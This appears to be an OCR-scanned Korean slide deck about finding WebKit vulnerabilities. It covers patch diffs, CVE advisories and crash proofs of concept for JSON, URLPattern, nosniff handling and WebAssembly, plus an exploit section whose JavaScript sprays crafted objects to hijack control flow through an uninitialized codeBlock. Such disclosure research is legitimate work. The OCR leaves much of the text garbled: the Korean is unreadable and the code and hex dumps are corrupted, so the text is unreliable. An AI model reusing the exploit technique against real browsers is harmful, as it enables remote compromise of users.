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WebKit

Web Browser engine

« Apple O] 7St QZAA 2l HELR X QIZ
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WebKit

Open Source Ecosystem
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WebKit

Private Workflow

Commit 92e69a1 : Check overflow of escaped string length in FastStringifier

1297 - if ('hasRemainingCapacity(1l + static_cast<size_t>(stringLength) * 6 + 1)) [[unlikely]] {
1297 + auto escapedLength = 1 + CheckedUint32 { stringlLength } x 6 + 1;
1298 + if (escapedLength.hasOverflowed()) [[unlikely]l] {
1299 + recordBufferFull();
1300 + return;
1301 + }
1302 + if (!'hasRemainingCapacity(escapedLength.value())) [[unlikelyl]l {

JSON.stringify( “\x00”.repeat(0x2aaaaaab) );

(H{3) 1 + stringLength * 6 + 1 O CHsll capacity At

(@HX]) 1 + stringLength * 6 + 1 Of Cist overflow AAF F=7}



WebKit

Private Workflow

Timeline
512 Release - i0OS 18.5
5.29, 6.6 Issue
6.6 Pull Request
6.6 Merge

‘@ robert-jenner commented on May 29 - edited by webkit-early-warning-system «

1363314

[JSC] Check overflow of escaped string length in FastStringifier
https://bugs.webkit.org/show_bug.cgi?id=289387
rdar://143829386

I0S 18.5 and iPadOS 18.5 iPhone XS and later, iPad Pro 13- 12 May 2025
inch, iPad Pro 12.9-inch 3rd
generation and later, iPad Pro 11-
inch 1st generation and later,
iPad Air 3rd generation and later,
iPad 7th generation and later,
and iPad mini 5th generation and
later

WebKit

Available for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch 3rd generation and
later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 7th
generation and later, and iPad mini 5th generation and later

Impact: Processing maliciously crafted web content may lead to memory corruption

Description: The issue was addressed with improved checks.

WebKit Bugzilla: 289387

CVE-2025-31223: Andreas Jaegersberger & Ro Achterberg of Nosebeard Labs




WebKit

Open Source Commit

Commit ced446al Sy

t&) chirags27 authored and robert-jenner committed on Aug 1, 2023

E Fix UAF in MediaPlayerPrivateMediaStreamAVFObjC::processNewVideoFrame

https://bugs.webkit.org/show_bug.cgi?id=256173
rdar://108504399
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Reviewed by Jer Noble and Youenn Fablet.

—HC H 7:| Ll_ (@ This change fixes the heap UAF on MediaPlayer element by protecting the
- e o L MediaPlayer object when executing callbacks/deferred tasks on the mainThread,

so that MediaPlayerPrivateMediaStreamAVFObjC remains valid.

b v Source/WebCore/platform/graphics/avfoundation/objc/MediaPlayerPrivateMediaStreamAVFObjC.mm [_@ A +5 -8 Ba@R v LayoutTests/fast/media/media-player-uaf.html @ +12 80888 --°-
X @@ —286,19 +286,16 @@ void getSupportedTypes(HashSet<String, ASCIICaseInsensitiveHash>& types) const f e @@ -0,0 +1,12 @@
286 286 Locker locker { m_currentVideoFrameLock }; 1 + <script>
287 287 m_currentVideoFrame = &videoFrame;
- 2 + onload = async () => {

288 288 }
289 - callOnMainThread( [weakThis = WeakPtr { xthis }, metadata, presentationTime]() mutable { . LS window-LesEBUnIEE)
290 _ if (iweakThis) 4  + testRunner.dumpAsText();
201 = return; 5 + let video® = document.createElement('video');
292 - 6 + video@.srcObject = await navigator.mediaDevices.getUserMedia({video: true});

289  + scheduleDeferredTask([this, metadata, presentationTimel() mutable { . let textTrack = video@.addTextTrack('subtitles', '');
293 290 RefPtr<VideoFrame> videoFrame; 8 + textTrack.addCue(new VTTCue(@, 1, 'a'));
294 291 { 9 4 await caches.open('x"');
295 - Locker locker { weakThis->m_currentVideoFrameLock }; o + video@.src = 'data:video/mp4;"';
296 - videoFrame = WTFMove(weakThis—>m_currentVideoFrame); 11 + )

292 + Locker locker { m_currentVideoFrameLock }; :

) . 12 + </script>

293 + videoFrame = WTFMove(m_currentVideoFrame);
297 294 }
298 295 if (!videoFrame)
299 296 return;
300 297
301 - weakThis—>processNewVideoFrame(*videoFrame, metadata, presentationTime);

298 + processNewVideoFrame(xvideoFrame, metadata, presentationTime);
302 299 ¥);
303 300 return;
304 301 }

: @@ -1141,7 +1138,7 @@ static inline CGAffineTransform videoTransformationMatrix(VideoFrame& videoFrame

1141 1138 callOnMainThread( [weakThis = WeakPtr { xthis }, function = WTFMove(function)] {
1142 1139 if (!weakThis)
1143 1140 return;
1144 -

1141+ auto protectedMediaPlayer = RefPtr { weakThis->m_player.get() };
1145 1142 function();
1146 1143 1)

1147 1144 ¥
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Open Source Commit

RCE | CtE 9171 & 51 S0|2F WebKit 0| A[ZHS HO| == 5= 8IS
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BUG 1

nosniff

Het@X7F oz e| Efgs

olOo
E——
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— |

X-Content-Type-Options: nosniff of|C{7} ™= ZL
nplo| EHAXIE 7[He 2 MIME type 2 S5silAM = QHE

5.23 Issue

5.24-6.21 Pull Request

6.29 Code Review & Pull Request

6.30 Merge

[cocoa] Improve respecting X-Content-Type-Options: nosniff #28961

SNV e webkit-commit-... merged 1 commit into WebKit:main from sysrgb:eng/respect-no-sniff-for-html-ios (LJon Jun 30, 2024

L) Conversation 12 -0- Commits 1 [} Checks o0 Files changed 12

sysrqb commented on May 23, 2024 - edited by webkit-early-warning-system « Contributor = ***

Reviewers

.} achristensen07

0b73d21

ﬁ cdumez
[cocoa] Improve respecting X-Content-Type-Options: nosniff
https://bugs.webkit.org/show_bug.cgi?id=274242 Assignees
rdar://109049343 -

© sysrgb

Reviewed by Alex Christensen.
Respect the X-Content-Type-Options: nosniff header, instead of trying to guess Labels
the best MIME type for the document based on the file extension.

None yet
Also convert isMainResourcelLoad into an enum class, so it's consistent with isNoSniffSet.

] _ ) Projects
LayoutTests/http/tests/mime/html-with-nosniff-html-expected.txt: Added.
LayoutTests/http/tests/mime/html-with-nosniff-html.html: Added. None yet
LayoutTests/http/tests/mime/resources/.htaccess:

LayoutTests/http/tests/mime/resources/nosniff-html.html: Added.
LayoutTests/platform/glib/http/tests/mime/html-with-nosniff-html-expected.txt: Added. Milestone

LayoutTests/platform/mac-wkl/TestExpectations:
LayoutTests/platform/wincairo/TestExpectations:
Source/WebCore/platform/network/ios/WebCoreURLResponseI0S.mm:

(WebCore: :adjustMIMETypeIfNecessary):

* Source/WebCore/platform/network/mac/WebCoreResourceHandleAsOperationQueueDelegate.mm:
(- [WebCoreResourceHandleAsOperationQueueDelegate connection:didReceiveResponse:]):

* Source/WebCore/platform/network/mac/WebCoreURLResponse.h:

* Source/WebCore/platform/network/mac/WebCoreURLResponse.mm:

(WebCore: :adjustMIMETypeIlfNecessary):

* Source/WebKit/NetworkProcess/cocoa/NetworkSessionCocoa.mm:

(- [WKNetworkSessionDelegate URLSession:dataTask:didReceiveResponse:completionHandler:]):

No milestone

* K X X ¥ X X ¥

Development

Successfully merging tl
these issues.

None yet

Notifications

Canonical link: https://commits.webkit.org/280502@main

A

Ynii're nnt receivina noy



BUG 1

nosniff

(1) Create test.html

(2) Create .htaccess

<Files test.html>
Header always set X-Content-Type-Options "nosniff"

Header always set Content-Type
</Files>

(3) Run the web server & visit test.htmi



BUG 1

nosniff

(I0S)
Safari, Chrome, Firefox, Edge

All execute the script

(Android)

Chrome, Firefox, Edge

All treat It as text

(Mac)

Handles it as text or file download




BUG 1

nosniff

= buganizer-system@google.com
@P D-system+-1619033660, Ltoji7| ~

Replying to this email means your email addres

https://issues.chromium.org/issues/348598496 6.29 Report => dup|icate

Changed
status: New — Duplicate
canonical: <none> — 335611025

< C ¥¢r Chrome on IOS ignores Content-Type header (and nosniff) when rendering XHTML content 10 Hotists (4) :
Comments (20) Dependencies (0) Duplicates (1) Blocking (0) Resources (7) Insights
Vulnerability P2 + Add Hotlist external_security_report Security_Ilmpact-Extended Status_ExternalDependency Reporter jo...@gmail.com ©
reward-inprocess Type @ Vulnerability
PN oy p2 CVE-2024-40785
Severity S3
@ DESCRIPTION bu...@google.com created issue on behalf of jo...@gmail.com #1 Apr 18, 2024 09:30PM

Status

4 St int -
Report description ory points

Access Default access View
Chrome on 10S ianores Content-Tvbe header (and nosniff) when renderina XHTML content



BUG 2

O0B URLPatternTokenizer 2| input 0f CH3t Z2El end ZA} URLPattern 2 ‘dZIX| &0} H=l AP !

ASAN_TRAP | URLPatternUtilities::Tokenizer::tokenize;
WebCore::URLPatternConstructorStringParser::parse; <> Code ~
WebCore::URLPattern::create #46006

)MV B webkit-commit-... merged 1 commit into WebKit:main from robert-jenner:eng/151713428 (LJon May 30

L) Conversation 4 -0- Commits 1 Fl Checks o Files changed 3 +13 -1 EEEE

ED Changes from all commits ¥ File filter ¥ Conversations ~ €§3 v Review in codespace Review changes ~

ASAN_TRAP | URLPatternUtilities::Tokenizer::tokenize; WebCore::URLPat...
~ternConstructorStringParser: :parse; WebCore::URLPattern::create

https://bugs.webkit.org/show_bug.cgi?id=289383
rdar://145468328

Reviewed by Youenn Fablet.
Fix a faulty check for end of input in URLPatternTokenizer.

* LayoutTests/fast/url/urlpattern-invalid-pattern-expected.txt: Added.
* LayoutTests/fast/url/urlpattern-invalid-pattern.html: Added.

* Source/WebCore/Modules/url-pattern/URLPatternTokenizer.cpp:
(WebCore: :URLPatternUtilities::Tokenizer::tokenize):

Originally-landed-as: 289651.10@webkit-2025.2-embargoed (al@41748ac6b). rdar://151713428
Canonical link: https://commits.webkit.org/295545@main

¥ main (#46006)
© wpewebkit-2.50.0 .. WebKit-7622.1.21

BR rwibuis authored and robert-jenner committed on May 30 commit 388c0587a90242bdbb96fbdd49dba96b35590430




OOB

O

1) input
Xl A

i

LIEFLH= m_index

2) m_index H| W E Edf
input 2| OFX|ZFRIX| ZHAL

106
107
108
109
110
111
112

113
114
15
116
117
118
119
120
121
122
123
124
125
126
127
128
129

130
131

// https://urlpattern.spec.whatwg.org/#tokenize
ExceptionOr<Vector<Token>> Tokenizer::tokenize()

{

ExceptionOr<void> maybeException;

while 1m_index < m_input.length()) {

if (m_policy == TokenizePolicy::Strict &&
maybeException.hasException())
return maybeException.releaseException();

seekNextCodePoint(m_index);

if (m_codepoint == 'x') {
addToken(TokenType: :Asterisk);

continue;

b

if (m_codepoint == '+' || m_codepoint == '?') {
addToken(TokenType: :0therModifier);
continue;

}

if (m_codepoint == "\\') {

if [m_index == m_input.length() - 1) {

174
175
176
177
178
179
180
181
182
183
184

185
186
187

3)'( EZ0|| CHshiAl=
regexPosition & index= AtEst1

AH.:'O = 1T

—

- 1

—
el —— I —

if (m_codepoint == '(') {
int depth = 1;

auto

regexPosition

0 Al

= m_nextIndex;

auto regexStart = regexPosition;

bool

hasError = false;

while (regexPosition < m_input.length()) {

seekNextCodePoint(regexPosition);

if (!'isASCII(m_codepoint)) {
maybeException =

processTokenizingError(regexStart,

m_index, "Current codepoint is not ascii"_s);

maybeException = processTokenizingError(m_nextIndex,

m_index, "No character is provided after escape."_s);
continue;

hasError =
break;

true;



OOB

O 00 N OO U1 B W N =

+ + + + + + + + +

222
223 if (m_codepoint == '(') {
;i: depth = depth + 1; 4) ( EE-O'” I:Hon_ |_ |§,
226 - if [(m_index == m_input.length() - 1)| { ( EE.O' CC E 3|.EII_=|
227 maybeException =
processTokenizingError(regexStart, m_index, "No closing token is provided regeXPOS|t|On |' Ol‘
by end of string."_s);
228 hasError = true; InpUt Ol I:I|'X||:”-2 |7:|A|-
229 break;
230 }

<!DOCTYPE html>

<script src="../../resources/testharness.js'"></script>

<script src="../../resources/testharnessreport.js'></script>

<script>

test(() => {
assert_throws_js(TypeError, () => { new URLPattern(new URL('https://example.org/%(')); } );
assert_throws_js(TypeError, () => { new URLPattern(new URL('https://example.org/)); L [

}, “Test unclosed token');

</script>

m index =



OOB

222
223
224
225
226
227

228
229
230

222
223
224
225
226
227

228
229
230

1F (

m_codepoint == '(') {
depth = depth + 1;

if (m_index == m_input.length() - 1) {
maybeException =

processTokenizingError(regexStart, m_index, "No closing token is provided

by end of string."_s);

hasError = true;
break;

\ 4

m_index 7} OF=l regexPosition 2 A3l end AA} St=E THK]|

if (m_codepoint
depth = depth + 1;

") A

if (regexPosition == m_input.length() - 1) {

maybeException =

provided by end of string."_s);

hasError
break:

true;

processTokenizingError(regexStart, m_index, "No closing token is




OOB

195
196
197

198
199
200
201
202
203
204
205

206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227

228
229
230

if (m_codepoint == "\\') {
if (m_index == m_input.length() - 1) { | 27
maybeException = processTokenizingError(regexStart, m_index, "No character is provided

after escape."_s);
hasError = true;
break:

getNextCodePoint();

if (!isASCII(m_codepoint)) {
maybeException = processTokenizingError(regexStart, m_index, "Current codepoint is not
ascii" s);
hasError = true;
break;

regexPosition = m_nextIndex;

continue;
I;
if (m_codepoint == ')') {
depth = depth - 1;
if (!depth) {
regexPosition = m_nextIndex;
break;
}
}
if (m_codepoint == '(') {

depth = depth + 1;

if (regexPosition == m_input.length() - 1) {
maybeException = processTokenizingError(regexStart, m_index, "No closing token is

provided by end of string."_s);
hasError = true;
break;




OOB

(lldb) process attach --pid 40485

Process 40485 stopped

* thread #1, queue = 'com.apple.main-thread’', stop reason = signal SIGSTOP
frame #0: 0x000000019c380c34 11bsystem_kerne1 dylib mach_msg2_ trap + 8

libsystem_kernel.dylib mach_msg2_trap:

-> @x19c380c34 <+8>: ret

libsystem_kernel.dylib macx_swapon:
0x19¢c380c38 <+0>: mov xX16, #-0x30 ;
0x19¢c380c3c <+4>: svC EOX 80
0x19c380c40 <+8>: ret
Target @: (com.apple.WebKit.WebContent.Develop
Executable module set to "/Users/mj/workspace/K

pment".

Architecture set to: armb4-apple-macosx-.
) €

Process 40485 resuming
Process 40485 stopped
* thread #1, queue = 'com.apple.main-thread’', stop reason =

frame #1: Ox00000003000324dc WebCore std::

491
492
493
-> 494
495
496
497
Target

Q:

1

|- [WK2 web:4048

http://localhost:8000/

5 net:40409 gpu:40406]

_1::span<unsigned char const, 18446744073709551615ul>: :operator[][ab1i:snl180100](this=0x0000000

[[nodiscard]] _LIBCPP_HIDE_FROM_ABI constexpr bool empty() const noexcept { return __size_ == 0; }

_LIBCPP_HIDE_FROM_ABI constexpr reference operator[](size_type

_LIBCPP_ASSERT_VALID_ELEMENT_ACCESS(__idx < size(),
return __data_[__1idx];
}

(com.apple.WebKit.WebContent.Development) stopped.

—1dx) const noexcept {
"span<T>: :operator[](index):

index out of range");

Steps to reproduce

1. create index.html

<script>
new URLPattern("(\\");
</script>

2. visit this page
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5.29

5.30

6.12

6.16

6.17

9.15

Issue & Pull Request 5,
PR & Merge

Report

Issue

PR & Merge

Release - i0OS 26

Our groundbreaking security technologies protect the users of over 2.35 billion active
devices around the world. Hear about the latest advances in Apple security from our

research, and work directly with us to be recognized
What is required to reproduce the issue? or helping keep our users safe.

Create a page containing the code that triggers the issue and open it in a browser.

Summary

In Tokenizer::tokenize() of URLPatternTokenizer.cpp, when parsing '(’, it tries to
parse the remainder using regexPosition as anindex. However, when parsing '\\' in
the remainder token, m_index , not regexPosition, is used for bounds checking, resulting
in incorrect bounds checking.

ExceptionOr<Vector<Token>> Tokenizer::tokenize()

{

if (m_codepoint == '(') {
int depth = 1;
auto regexPosition = m_nextIndex;

Congratulations,

minjeong!

To thank you for helping protect our users, we're excited to offer you a

B cvaro.

WebKit

Avalilable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st
generation and later, iPad Air 3rd generation and later, iPad 8th generation and later, and iPad mini 5th
generation and later

Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash

Description: The issue was addressed with improved memory handling.

WebKit Bugzilla: 294550

CVE-2025-43272: Big Bear




BUG 3

wasm

Interesting bug

*WebAssembly

HOA t=A| dAE|=F EHAEl HF HHO|LHE

v Source/JavaScriptCore/wasm/WasmOperationsInlines.h [EJ CHE

447
448
449
450

Update incorrect bounds check in arrayInitData that could lead to overflow

https://bugs.webkit.org/show_bug.cgi?id=284332
rdar://140773517

Reviewed by Yusuke Suzuki.

arrayInitData's operation currently checks that the source index plus the size
has not overflowed. However, size is the number of array elements, meaning that

size x elementSize could potentially overflow later on

* Source/JavaScriptCore/wasm/WasmOperationsInlines.h:
(JSC::Wasm::arrayInitData):

Originally-landed-as: 283286.574@safari-7620-branch (8fbbb5e). rdar://143593161

Canonical link: https://commits.webkit.org/289656@main

¥ main (#39705) - & wpewebkit-2.50.0 +++ WebKit-7622.1.7 1 parent b7ce9fd commit 9cee5da [J

+6 -4 0BG2B ---

@@ -440,13 +440,15 @@ inline bool arrayInitData(JSWebAssemblyInstancex instance, Encoded]SValue dst, u

if (lastDstElementIndexChecked > dstObject->size())
return false;

CheckedUint32 lastSrcElementIndexChecked = srcOffset;
lastSrcElementIndexChecked += size;

if (lastSrcElementIndexChecked.hasOverflowed())

return false;

size_t elementSize = dstObject->elementType().type.elementSize();
return instance->copyDataSegment(dstObject, srcDatalIndex, srcOffset, size x
elementSize, dstObject->data() + dstOffset x elementSize);

}

440
441
442
443

444
445
446
447
448

449
450
451

452

453
454

+ + + +

+

if (lastDstElementIndexChecked > dstObject->size())
return false;

size_t elementSize = dstObject—>elementType().type.elementSize();

CheckedUint32 lastSrcByteChecked = size;
lastSrcByteChecked x= elementSize;
lastSrcByteChecked += srcOffset;

if (lastSrcByteChecked.hasOverflowed())
return false;

return instance->copyDataSegment(dstObject, srcDatalndex, srcOffset, size x
elementSize, dstObject->data() + dstOffset x elementSize);

}



BUG 3

wasm

Interesting bug

srcOffset + size Ol Ci gt overflow AAL =, srcOffset + size * elementSize AIE

v Source/JavaScriptCore/wasm/WasmOperationsInlines.h [_l;] B +6 -4 E@@2B ---
=1 @@ -440,13 +440,15 @@ inline bool arrayInitData(JSWebAssemblyInstancex instance, Encoded]SValue dst, u
440 if (lastDstElementIndexChecked > dstObject->size()) 440 if (lastDstElementIndexChecked > dstObject->size())
441 return false; 441 return false;
442 442
443 - CheckedUint32 lastSrcElementIndexChecked = srcOffset; 443 + size_t elementSize = dstObject->elementType().type.elementSize();
444 - lastSrcElementIndexChecked += size;
445 444
446 - if (lastSrcElementIndexChecked.hasOverflowed()) 445 + CheckedUint32 lastSrcByteChecked = size;
446 + lastSrcByteChecked *x= elementSize;
447 + lastSrcByteChecked += srcOffset;
448 +
449 + if (lastSrcByteChecked.hasOverflowed())
447 return false; 450 return false;
448 451
449 - size_t elementSize = dstObject->elementType().type.elementSize();
450 return instance->copyDataSegment(dstObject, srcDatalndex, srcOffset, size x 452 return instance->copyDataSegment(dstObject, srcDatalndex, srcOffset, size x
elementSize, dstObject->data() + dstOffset * elementSize); elementSize, dstObject->data() + dstOffset * elementSize);
451 } 453 }
452 454



BUG 3

wasm

Interesting bug

array.init_data = wat2wasm O|M X|2I5}X| H= operation

WebKit internal testing tool 0] 7181l

custom WebAssemblyText encoder £ ZE 0l

wat2wasm L=

S2HEM O{E77?

O 00 N O U B W IN =2

=
S

o o T S G G Y
O Ul A W N R

(S S S Y
O 00 ~N

N N NN
w N =B

24
25
26
27
28
29
30

+ /%

+ (module

+ (memory (export "memory") 1)
+ (type $vec (array (mut i32)))
+ (data $data@ "1234")
o

+ (func $main(result (ref null $vec))

kS (local $arr(ref null $vec))

+ (local.set $arr (array.new_default $vec (i32.const 4)))

+

s (array.init_data] $vec $data®

+ (local.get $arr)

+ (i32.const 0)

: (i32.const ~2) WAT(WebAssembly text format)
+ (i32.const 1))

5,

4

(local.get $arr)

+ (export "main" (func $main))

+ )

+ %/

+ var wasm_code = new
Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x89,0x80,0x80,0x80, 0x
00,0x02,0x5e,0x7f,0x01,0x60,0x00,0x01,0x63,0x00,0x03,0x82,0x80,0x80,0x80,0x00,0
x01,0x01,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x07,0x91,0x80,0x80,0x80,
0x00,0x02,0x06,0x6d,0x65,0x6d,0x6f,0x72,0x79,0x02,0x00,0x04,0x6d,0x61,0x69,0x6e
,0x00,0x00,0x0c,0x81,0x80,0x80,0x80,0x00,0x01,0x0a,0xad,0x80,0x80,0x80,0x00,0x0
1,0x9a,0x80,0x80,0x80,0x00,0x01,0x01,0x63,0x00,0x41,0x04,0xfb,0x07,0x00,0x21,0x
00,0x20,0x00,0x41,0x00,0x41,0x7e,0x41,0x01,0xfb,0x12,0x00,0x00,0x20,0x00,0x0b,0
x0b,0x87,0x80,0x80,0x80,0x00,0x01,0x01,0x04,0x31,0x32,0x33,0x34]);

+ var wasm_module = new WebAssembly.Module(wasm_code);

+ var wasm_instance = new WebAssembly.Instance(wasm_module);

+ var f = wasm_instance.exports.main;

+try {

+ £0);

+ } catch {

+ }
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Bug

/%
(func (export "main") (param 164) (result 132)

164.const 0

164.const 16

memory.grow 0 ;; memory.grow(16)

local.get ©

164.extend 132 s

memory.grow 0 ;; memory.grow(param)

drop

return

)
*/
const wasm code = new
Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,94,120,1,96,1,126,1,127,3,130,128,128,128,0,1,1,7
;136,128,128,128,0,1,4,109,97,105,110,0,0,10,149,128,128,128,0,1,143,128,128,128,0,0,065;0,65,16;251,0,0,
32,0;16/7,251,13,0,11]);

const wasm_module = new WebAssembly.Module(wasm_code);

const wasm instance new WebAssembly.Instance(wasm_module);
const f = wasm_1instance.exports.mainfbind();
f(0x4141);

This £ undefined 2 HfoIH &t
WebAssembly = this & Ar&35HA| 227] =0 .bind() = OrF 2 =88 247t gis

5iX|8t LI X o2 CallFrame Off #3517} M7| 2 0|2 215f crash A
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Bug

MacroAssemblerCodeRef<]JITThunkPtrTag> boundFunctionCallGenerator(VM& vm)

{

auto isNative = jit.branchIfNotType(GPRInfo::regTl, FunctionExecutableType); Jlt loadPtr jlt storePtr SEC = CIAEEHMNZS MM
] , [ ] — — —
jit. loadPtr(

CCallHelpers: :A
GPRInfo::re
GPRINnfo: :reg

13);
jit.storePtr(GPRINnfo: :regT:

(D

@

ddress(
1 e . : WS L INIIYS ot C = (Olo HXIShH
JT1, FunctionExecutable::offsetOfCodeBlockForCall()), _,J,;|'_|O|I| ,_30|'k| T =4 = O|°H7|' =H B

gl3,
CCallHelpers::calleeFrameCodeBlockBef

0
(D
N
'@
O
(D
)
Q)
(_J
par
—
S
"
A I

st AlSHA| CallFrame A2
- Prev CFR, RET, codeBlock, callee,
isNative. link(&jit);

auto dispatch = jit.label(); B arguementCount, thIS, argoa arg1,

emitPointerValidation(jit, GPRInfo::regT2, JSEntryPtrTag);
jit.call(GPRInfo::regT2, JSEntryPtrTag);
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Bug

MacroAssemblerCodeRef<]JITThunkPtrTag> boundFunctionCallGenerator(VM& vm)
§

auto isNative =‘jit.branchIfNotType(GPRInfo::reng, FunctionExecutableType);
jit.loadPtr(
CCallHelpers: :Address( 3
GPRInfo::reqgTl, FunctionExecutable::offsetOfCodeBlocfForCall()),
GPRInfo::regT3); /
jit.storePtr(GPRINnfo: :regT3,
CCallHelpers::calleeFrameCodeBlockBeforeCall());

CellType O]

FunctionExecutableType (JSFunction) & It

/'/ -+ o

0x124030160: ldur x3, [x1, #0x60] codeBlock & AE{0|| XF
0x124030164: stur x3, [sp] ; store codeBlock

isNative.link(&jit); JSFunction Of OfL|™ X|&stX| 223

auto dispatch = jit.label();

emitPointerValidation(jit, GPRInfo::regT2, JSEntryPtrTag);
jit.call(GPRInfo::regT2, JSEntryPtrTag);

Ox124030168: blr x2 ; call js_to_wasm _wrapper_entry

* /
x
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Ox1l6fdfab5e®: O0x000000016fdfab620 O0x000000012403016c ; prev cfr | return address
Ox16fdfaS5f0: | 0x000000016fdfab90| Ox00006120000102c8 ; codeBlock | callee

Ox16fdfabc00: Oxfffe@OOOOOOO0002 OxO00000000000000a ; argumentCount | this (undefined)
Ox16fdfabll: OxfffeOOO000004141 Ox0000000124004020 ; arg0d |

codeBlock O| uninitialized ZfS 2 ol
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Abuse

void StackVisitor::readFrame(CallFrame*x callFrame)

{ Wasm &=0{| A exception 2 A|
CodeBlock* codeBlock = callFrame->codeBlock(); // uninitialized value codeBlock Oﬂ EH3,_|' 7_|§||'_7F_7|- %!'éﬁ%:!'

if (!codeBlock) {
readNonInlinedFrame(callFrame);
return;

} PoC 0| M Bigint argument 0l Number £

#1f ASSERT_ENABLED II_'l'—_él'éHA-l TypeError Ealj-l
if (!codeBlock->inherits<CodeBlock>()) {

atalogln("Invalid codeblock type: ", *(JSCell*)codeBlock);

dataLogLn("Callee: ", RawPointer(callFrame->unsafeCallee().rawPtr()));

ASSERT_NOT_REACHED( );

readNonInlinedFrame(callFrame);

return;

> R o &
Q)

Heap UAF, Heap overflow, Stack overflow, ...

}
#endif

if (!codeBlock->hasCodeOrigins()) {
readNonInlinedFrame(callFrame);
return;
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Exploit

02{7H2| JavaScript ZH|E QIAI=Z 2= wasm_func_1

H1E E2|Hg El wasm_func 2

JSObject 2 codeBlock 2| ZEE A& H[ojeh £~ JUS

SHX[ZF JSObject 2| 20| ILf2} |0

o]l
>
ail
o]
[
[IE!
M
|.|-|
=
0lo

prev CFR

RET

codeBlock

callee

argumentCount

this

prev CFR

arg0

RET

arg

codeBlock

arg2

callee

arg3

argumentCount

arg4

this

arg0

wasm_func 1

wasm_func 2
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Exploit

if (!codeBlock->hasCodeOrigins()) { // 0/7/A !true hasCodeOriginS 70 O| E|E&E ZlE X=X

readNonInlinedFrame(callFrame);
return;

CallSiteIndex index = callFrame->callSitelndex();
ASSERT(codeBlock->canGetCodeOrigin(index));

if (!codeBlock->canGetCodeOrigin(index)) {

codeBlock + 0x78] : A4t A
A + 0x0]: =441 B

B + 0x48] : control PC
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Exploit

* JSArray ZiA|2| HE&

+ 0x00 Map Butterfly

Map Butterfly prop0 prop]

Map Butterfly

Map Butterfly

length elem1 elem?2
_ Ma Butterfl
JSArray 2t Butterfly 7} 2E&|= HE2| A2 M= OHE P Y| +Oxr8
+ 0x00 Map NULL
* JSObject 24H|2| &5 propO prop]
Map NULL prop0 prop] prop2 prop3
Map NULL
propO propl + 0x48
prop2 prop3
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Exploit

const v/8 = new WebAssembly.Module(v75);
const v80 = new WebAssembly.Instance(v78);
const func_2 = v80.exports.main.bind();

const v76_module = new WebAssembly.Module(v76);
const v76_1ns new WebAssembly.Instance(v76_module);
const func_1 = v76_1ins.exports.main;

let obj = eval('({"' + Array.from({ length: 1000 }, (_, 1) => p${i}:
1.1 ). join( ', *) + '})%):

let vua = new Uint32Array(0x100); 'COdeBIOCk + OX78] : bUtterﬂy

Ua. TLLLL 8655551 ; buttefly + 0x0] : JSObject1

let arr = new Array(0x100);

for(var i=0; i<arr length; i++) { 3) JSObject.y = PC 4t JSODbject1 + 0x48] : JSObject2.y

let |inner _tmp = {x: 1.1, y: 12f(0x414141414141), z: 3.3};
let tmp = [inner_tmp, 12f(0x400000000), 3.3, 4.4]; 2) butterflyol elem0 £ JSObject
. - —_

Npp——— : — A_

arr[i] g 1) JSArray _£E1|O| * thread #1, queue = "com.apple.main-thread’
b frame #0: 0x0000414141414141
func_»1(...arr); Ox000000016fdf d6dd
func_2(1,1,1,1,1,1,1,1,1,1,1,1,1,); Uninitialize bug E2|/ = 0x0000414141414141

Ox60001300
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real safarl..

dr X0, [x0, #0x78] dr x0, [x0, #0x78]
dr x8, [x0] dr x8, [XO]

dr X8, [x8, #0x48] dr X8, [x8, #0x48]
blr x8 Dlraa X8

PAC (Pointer Authentication Code)

63 56,5554  VASIZE ' VA SIZE-1 0
Ox00000000123456/8

address ;
gl 0x004401f8012345678

tag or
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End..?

If force doesn't work, maybe you don’t have enough strength
— think about that.
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Timeline

2.1 Interesting wasm
2.17 Build unsupported wasm op
: 5.27 Patch (another branch

6.10 Find bug ( )
WebKit

6.17 Exploit without PAC Available for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch 3rd generation and later, iPad Pro
11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 7th generation and later, and iPad
mini 5th generation and later

7.29 Release - iOS 18.6 Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash

Description: The issue was addressed with improved memory handling.

WebKit Bugzilla: 292599

7.31 Patch L , _ _
CVE-2025-43214: shandikri working with Trend Micro Zero Day Initiative, Google V8 Security Team

WebKit Bugzilla: 292621

CVE-2025-43213: Google V8 Security Team

WebKit Bugzilla: 293197

CVE-2025-43212: Nan Wang (@eternalsakura13) and Ziling Chen
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@) ol EX Al CC e} ol
JS 210{e| EXO| MA|Z YA SO =0 UAS77t?
7 L = 71 HFAHS m 1=
2t 7| S S0l A 2t70]] 2R E B 1 mjEH0| ==tk
security issues or just interests
Features Date ID/CVE Component title and commit
; Short circuit read modify write nodes emit byte code that uses the wrong locals
ik 220570 bytecompiler i e//github.com/WebKit/WebKit/commit/1b16310d3e5499087d637dbb0cag20939fec09d3
; short-circuit-read-modify-write-cant-write-dst-before-tdz-check
. gl 228970 oytecompller & s//github.com/WebKit/WebKit/commit/4 15807 dbcdefo5719e230ba2ad92fcf536f3d15b
(Temporal Dead Zone) : .
6/30/16 159277 bytecompiler We don't emit TDZ checks for call_eval
https://github.com/WebKit/WebKit/commit/670d9a64ec2409e5e5276c5aed1e5293¢c5263ca2
; Assertion failures and crashes with missing TDZ checks for catch-node bindings.
7/16/1 1 I
il sithdd bytecompller i s//github.com/WebKit/WebKit/commit/601f6930af2061677 7e14699fd04cdc2390c0fed
- 289653 (18.5) Apple Safari Scrollbar Animation Use-After-Free Remote Code Execution Vulnerability
Animation 6/7/25 Scrollbar
CVE-2025-31238 https://github.com/WebKit/WebKit/commit/a23df0dfbecOc9df6dfee9ac5646d7f3665d85b4
JSON 6/6/25 289387 (18.5) s [USC] Check overflow of escaped string length in FastStringifier
CVE-2025-31223 https://github.com/WebKit/WebKit/commit/92e69a181eb3983533a720499e7248ecab351e75
: 286694 (18.5) : Enable Denormal Disabling on ARM platforms
d 4/1/25 D IDisabl
